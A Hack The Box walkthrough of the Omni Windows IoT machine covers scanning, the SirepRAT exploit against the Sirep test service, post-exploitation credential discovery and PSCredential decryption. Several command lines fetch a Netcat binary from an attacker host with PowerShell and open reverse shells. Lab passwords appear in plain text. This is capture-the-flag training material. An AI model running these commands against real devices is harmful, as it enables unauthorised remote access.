Omni Walkthrough - Hack The Box

Omni

Omni is a vulnerable Windows IoT machine on Hack The Box. This post will outline the penetration testing methodology used against the target and detail steps on how to successfully exploit and escalate privileges on the machine. A good understanding of Windows for IoT and PowerShell is required.

Scanning

Using Nmap, we run a TCP SYN scan along with a UDP scan. The UDP scan comes up empty, but the TCP scan reveals some interesting services:

# Nmap 7.92 scan initiated Sun Dec 26 14:52:13 2021 as: nmap -sSV -p- -A -Pn -v -oA omni 10.129.2.27
Nmap scan report for 10.129.2.27
Host is up (0.025s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT      STATE SERVICE  VERSION
135/tcp   open  msrpc    Microsoft Windows RPC
5985/tcp  open  upnp     Microsoft IIS httpd
8080/tcp  open  upnp     Microsoft IIS httpd
|_http-title: Site doesn't have a title.
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
29817/tcp open  unknown
29819/tcp open  arcserve ARCserve Discovery
29820/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.92%I=7%D=12/26%Time=61C8820D%P=x86_64-pc-linux-gnu%r(
SF:NULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,
SF:"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x
SF:04G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\
SF:xc9}\xc8O\x12");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP|7 (89%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows XP SP3 (89%), Microsoft Windows XP SP2 (86%), Microsoft Windows 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 135/tcp)
HOP RTT      ADDRESS
1   34.83 ms 10.10.16.1
2   34.97 ms 10.129.2.27

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 26 14:55:15 2021 -- 1 IP address (1 host up) scanned in 182.68 seconds

The output from the scan, including the HTTP server response, reveals that this is most likely a Windows machine. The response of the HTTP service running on port 8080 is particularly interesting. The Windows Device Portal string, indicates that this is a Windows IOT machine.

The server is protected using HTTP basic authentication, and the default username and password fail to work. Brute forcing credentials with Hydra isn’t going to be an option either, as we’re redirected after 4 unsuccessful authentication requests.

Authorisation Redirect

Running a Nikto scan doesn’t give us much new information on the HTTP server either.

Enumeration

There’s no option to enumerate directories on the server here, as we get a 401 response on all requests. With nothing else to immediately enumerate, we move on to the vulnerability assessment phase.

Vulnerability Assessment

We don’t have much to go on here, other than this being a Windows IOT box. Perhaps it might be unpatched, so we begin by searching for vulnerabilities targeting Windows IOT.

Research bring us to an interesting exploit targeting the Sirep Test Service that’s built in and running on the official IOT images offered at Microsoft’s site.

Running the exploit against the target, attempting to download the hosts file, reveals that the target is indeed vulnerable.

(py3env) kali@kali:/mnt/kali-shared/HTB/Omni/SirepRAT$ python SirepRAT.py 10.129.2.27 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v                                                                                                                                                           
---------                              

---------                              
---------                              
# Copyright (c) 1993-2009 Microsoft Corp.                                      
#                                      
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.            
#                                      
# This file contains the mappings of IP addresses to host names. Each          
# entry should be kept on an individual line. The IP address should            
# be placed in the first column followed by the corresponding host name.       
# The IP address and the host name should be separated by at least one         
# space.                               
#                                      
# Additionally, comments (such as these) may be inserted on individual         
# lines or following the machine name denoted by a '#' symbol.                 
#                                      
# For example:                         
#                                      
#      102.54.94.97     rhino.acme.com          # source server                
#       38.25.63.10     x.acme.com              # x client host                

# localhost name resolution is handled within DNS itself.                      
#       127.0.0.1       localhost      
#       ::1             localhost      

---------                              
<HResultResult | type: 1, payload length: 4, HResult: 0x0>                     
<FileResult | type: 31, payload length: 824, payload peek: 'b'# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# Th''>

Exploitation

Knowing that we have the capability for remote code execution, we transfer the Windows Netcat binary to the target using PowerShell’s Invoke-WebRequest.

(py3env) kali@kali:/mnt/kali-shared/HTB/Omni/SirepRAT$ python SirepRAT.py 10.129.2.27 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell -exec bypass -c \"Invoke-WebRequest http://10.10.16.12/nc64.exe -OutFile C:\Windows\Temp\nc.exe\""                                  
<HResultResult | type: 1, payload length: 4, HResult: 0x0>                     

After setting up a Netcat listener, we then run our command to catch a reverse shell.

(py3env) kali@kali:/mnt/kali-shared/HTB/Omni/SirepRAT$ python SirepRAT.py 10.129.2.27 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c start C:\Windows\Temp\nc.exe 10.10.16.12 443 -e cmd"                                                                                          
<HResultResult | type: 1, payload length: 4, HResult: 0x0>                     
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>

We have successfully exploited the machine and have our foothold.

kali@kali:~$ sudo nc -nlvp 443         
[sudo] password for kali:              
listening on [any] 443 ...             
connect to [10.10.16.12] from (UNKNOWN) [10.129.2.27] 49670                    
Microsoft Windows [Version 10.0.17763.107]                                     
Copyright (c) Microsoft Corporation. All rights reserved.                      

C:\windows\system32> 

Yet another method to transfer our Netcat binary or other payload onto the machine would be to execute the following command to spin up an FTP server on the IOT Core device (as documented here, and initiate the transfer via FTP:

start C:\Windows\System32\ftpd.exe

Post-Exploitation

Information gathering and enumeration reveals that we are running as a default user:

C:\windows\system32>hostname           
hostname                               
omni                                   

C:\windows\system32>echo %username%    
echo %username%                        
omni$                                  

C:\windows\system32>net users          
net users                              

User accounts for \\                   

-------------------------------------------------------------------------------                                                                               
Administrator            app                      DefaultAccount               
DevToolsUser             Guest                    sshd                         
WDAGUtilityAccount                     
The command completed with one or more errors.

Digging through files and folders doesn’t reveal anything immediately interesting, but a search for batch files (including hidden) suggests we might find some useful information in the more recent r.bat file.

C:\>dir /s /a *.bat                    
dir /s /a *.bat                        
 Volume in drive C is MainOS           
 Volume Serial Number is 3C37-C677     

 Directory of C:\Program Files\WindowsPowerShell\Modules\PackageManagement     

08/21/2020  11:56 AM               247 r.bat                                   
               1 File(s)            247 bytes                                  

 Directory of C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0          

10/26/2018  10:36 PM               744 Build.bat                               
               1 File(s)            744 bytes                                  

 Directory of C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin      

10/26/2018  10:36 PM               925 Pester.bat                              
               1 File(s)            925 bytes                                  

     Total Files Listed:               
               3 File(s)          1,916 bytes                                  
               0 Dir(s)     572,678,144 bytes free

We find the usernames and passwords for the administrator and app users in plain text:

administrator:_1nt3rn37ofTh1nGz app:mesh5143

C:\>type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"  
type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"      
@echo off                              

:LOOP                                  

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete                                                     

net user app mesh5143                  
net user administrator _1nt3rn37ofTh1nGz                                       

ping -n 3 127.0.0.1                    

cls                                    

GOTO :LOOP                             

:EXIT

We now use these credentials to successfully log in as the administrator user to the Windows Device Portal.

Windows Device Portal

From there, we navigate to Processes > Run Command and execute another Netcat reverse shell, which this time gives us a shell as the Administrator user.

kali@kali:~$ sudo nc -nlvp 443         
listening on [any] 443 ...             
connect to [10.10.16.12] from (UNKNOWN) [10.129.2.27] 49672                    
Microsoft Windows [Version 10.0.17763.107]                                     
Copyright (c) Microsoft Corporation. All rights reserved.                      

C:\windows\system32>echo %username%    
echo %username%                        
Administrator                          

Running a search for the user.txt and root.txt flags, we find these in the C:\Data\Users\app and C:\Data\Users\administrator folders.

However, inspecting the contents, we discover that both flags are encrypted as PSCredential objects, but the usernames are in plain text.

PS C:\Data\Users\app> type user.txt    
type user.txt                          
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">                                                                              
  <Obj RefId="0">                      
    <TN RefId="0">                     
      <T>System.Management.Automation.PSCredential</T>                         
      <T>System.Object</T>             
    </TN>                              
    <ToString>System.Management.Automation.PSCredential</ToString>             
    <Props>                            
      <S N="UserName">flag</S>         
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>                
    </Props>                           
  </Obj>                               
</Objs>

As noted here, it’s important to recognise that the built-in Data Protection API (DPAPI) can encrypt and decrypt information by using keys from both the user and system account. This means, effectively, the encrypted information is only accessible if the same user logs in to the same machine:

Therefore, if another user logs in to the same machine, the encrypted password file can’t be decrypted, and if the same user copies the encrypted password file to another machine it can’t be decrypted.

What this means in our case is that as the Administrator user we can decrypt the root.txt PSCredential object, but will have to log in to the portal and catch a reverse shell as the app user to decrypt the user.txt object.

Dropping into a powershell prompt we can then decrypt the PSCredential objects using the following commands:

$credential = Import-CliXml -Path user.txt
$credential.GetNetworkCredential().Password

Note that you will have to upload the Netcat binary onto the target as the app user for the necessary permissions to run it.

You can learn more about PSCredential objects here.

Remediation

Patching the OS and not putting plain text credentials in a script (always a terrible idea) would have successfully prevented this exploitation vector.

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.